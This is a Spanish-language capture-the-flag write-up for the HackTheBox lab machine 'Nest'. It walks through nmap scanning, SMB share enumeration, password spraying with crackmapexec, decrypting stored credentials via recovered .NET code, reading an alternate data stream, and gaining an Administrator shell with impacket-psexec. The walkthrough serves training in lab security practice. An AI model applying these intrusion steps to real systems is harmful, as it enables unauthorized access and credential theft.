Nest
✍️ Autor: VbScrub🔍 Dificultad: Fácil 📅 Fecha de creación: 04/06/2020
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 10.10.10.178
para verificar la conectividad de red.

A continuación, realizamos el comando:
nmap -sC -sV -p- 10.10.10.178
para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Durante el escaneo se identificaron los siguientes puertos abiertos:
Puerto 445 (SMB): El puerto 445/tcp está abierto y ejecutando el servicio
microsoft-ds?
, lo que indica la posible presencia de un servicio SMB en el sistema.Puerto 4386 (unknown): El puerto 4386/tcp también está abierto y ejecutando un servicio desconocido. Según el fingerprinting de respuesta, el servicio se identifica como
Reporting Service V1.2
, lo que sugiere que permite a los usuarios ejecutar consultas en bases de datos mediante el formato HQK. Entre los comandos disponibles se encuentranLIST
,SETDIR
,RUNQUERY
,DEBUG
yHELP
. Esta funcionalidad podría representar un posible vector de ataque si el servicio no está correctamente asegurado.
A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p445,4386 -v 10.10.10.178
para que nos proporcione más información sobre esos puertos específicamente.

Ponemos el dominio en el /etc/hosts
.
echo "10.10.10.178 nest.htb" >> /etc/hosts
Listamos recursos compartidos.
smbclient -L 10.10.10.178

Listamos el contenido de los recursos compartidos.
smbclient \\\\nest.htb\\Users -N

smbclient \\\\nest.htb\\Data -N

En la ruta /Shared/Templates/HR
hay un archivo interesante.

Tenemos unas credenciales por lo que con los usuarios descubiertos antes realizamos fuerza bruta.
crackmapexec smb nest.htb -u usuarios -p 'welcome2019' --continue-on-success

Intenté iniciar sesión con los tres usuarios y, al usar TempUser, obtuve un archivo, pero estaba vacío. Volví a acceder al recurso compartido Data como TempUser y descargué los archivos. Entre ellos, encontré un archivo llamado RU_Config.xml.

En otro archivo (config.xml) encontramos también información.

Entramos donde Carl.
smbclient -U ./TempUser //10.10.10.178/Secure$

🚀 EXPLOTACIÓN
Lo que estamos buscando es una línea del artículo que mencionamos antes, un algoritmo para descifrar el cifrado del archivo RU_Config.xml. Quiero hacerlo rápido, así que voy a dotnetfiddle.net, realizar algunos ajustes al código y ejecutarlo con la contraseña cifrada que está en el archivo de configuración.
El resultado es xRxRxPANCAK3SxRxRx. Bien, el usuario estaba claro, y ahora la contraseña está descifrada.
smbclient -U ./c.smith //10.10.10.178/Users

Seguimos investigando para escalar a root.

allinfo "Debug Mode Password.txt"

Nos lo descargamos.
get "Debug Mode Password.txt":Password:$Data
Esto debería devolverte la contraseña en formato claro, que en este caso es WBQ201953D8w.
Con la contraseña obtenida, conéctate al servidor HQK:
debug WBQ201953D8w
Dentro del servidor, ejecuta el siguiente comando en el directorio LDAP para ver la configuración:
showquery 2

Esto debería devolverte las credenciales del Administrador en formato cifrado. En el ejemplo, la contraseña es yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=.
echo "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" | base64 --decode
Ejecuté el comando file
sobre el archivo HqKLdap.exe
y descubrí que es un ejecutable .NET. Lo copié a mi sistema Windows y lo abrí utilizando ILSpy. Dentro del archivo HqKLdap
, en la sección CR
, encontré la siguiente línea de código:
return RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
Reemplacé esta línea en el script de Nest y modifiqué el archivo config.xml
con el nombre de usuario y la contraseña de "Administrator". Luego ejecuté el script y obtuve lo siguiente:
Anterior:
XtH4nkS4Pl4y1nGX
Administrator
Nuevo:
AJPcXFcqZ32B993fPwoHWA==
XtH4nkS4Pl4y1nGX
La contraseña obtenida es: XtH4nkS4Pl4y1nGX
.
Ahora, intentemos obtener una shell utilizando la siguiente herramienta:
impacket-psexec Administrator:XtH4nkS4Pl4y1nGX@nest.htb
Con este comando, deberíamos obtener acceso como Administrator
.
🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoami
somos root.


Last updated
Was this helpful?